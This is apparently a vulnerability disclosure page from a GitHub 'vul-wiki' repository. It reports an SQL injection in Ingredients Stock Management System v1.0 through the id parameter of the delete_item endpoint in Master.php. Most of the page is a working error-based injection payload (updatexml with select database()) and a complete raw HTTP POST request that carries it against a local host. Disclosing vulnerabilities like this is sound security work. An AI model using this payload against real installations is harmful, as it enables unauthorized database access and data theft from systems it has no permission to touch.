

master ▾

...

[vul-wiki](#) / [vendors](#) / [oretnom23](#) / [ingredients-stock-management-system](#) / [SQLi-6.md](#)

debug601 Create SQLi-6.md

[History](#)

1 contributor

31 lines (21 sloc) | 1.09 KB

...

# Ingredients Stock Management System v1.0 by oretnom23 has SQL injection

vendors: <https://www.sourcecodester.com/php/15364/ingredients-stock-management-system-phpoop-free-source-code.html>

Vulnerability File: /isms/classes/Master.php?f=delete\_item

Vulnerability location: /isms/classes/Master.php?f=delete\_item, id

db\_name = isms\_db;

[+] Payload: id=4' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> id

```
POST /isms/classes/Master.php?f=delete_item HTTP/1.1
```

```
Host: 192.168.1.19
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

```
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
```

```
Accept-Encoding: gzip, deflate
```

```
DNT: 1
```

```
Cookie: _ga=GA1.1.1382961971.1655097107; PHPSESSID=2m880botn1u43hd2gu23ttj4ug
```

```
Connection: close
```

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

id=4' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+

